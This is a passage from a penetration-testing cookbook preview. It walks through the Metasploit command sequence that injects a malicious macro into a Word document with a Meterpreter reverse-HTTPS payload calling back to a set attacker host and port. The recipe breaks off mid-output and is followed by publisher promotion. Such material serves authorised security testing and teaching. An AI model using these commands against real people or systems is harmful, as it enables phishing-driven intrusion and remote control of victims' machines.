How to do it...

  1. In this recipe, we will use the Microsoft Office Word Malicious Macro Execution exploit module to inject a malicious macro into a Microsoft Office Word document:
msf > use exploit/multi/fileformat/office_word_macro msf exploit(multi/fileformat/office_word_macro) > set PAYLOAD windows/meterpreter/reverse_httpsPAYLOAD => windows/meterpreter/reverse_httpsmsf exploit(multi/fileformat/office_word_macro) > set LHOST 192.168.216.5 LHOST => 192.168.216.5msf exploit(multi/fileformat/office_word_macro) > set LPORT 443LPORT => 443msf exploit(multi/fileformat/office_word_macro) > exploit [*] Using template: /usr/share/metasploit-framework/data/exploits/office_word_macro/template.docx[*] Injecting payload in document comments[*] Injecting ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.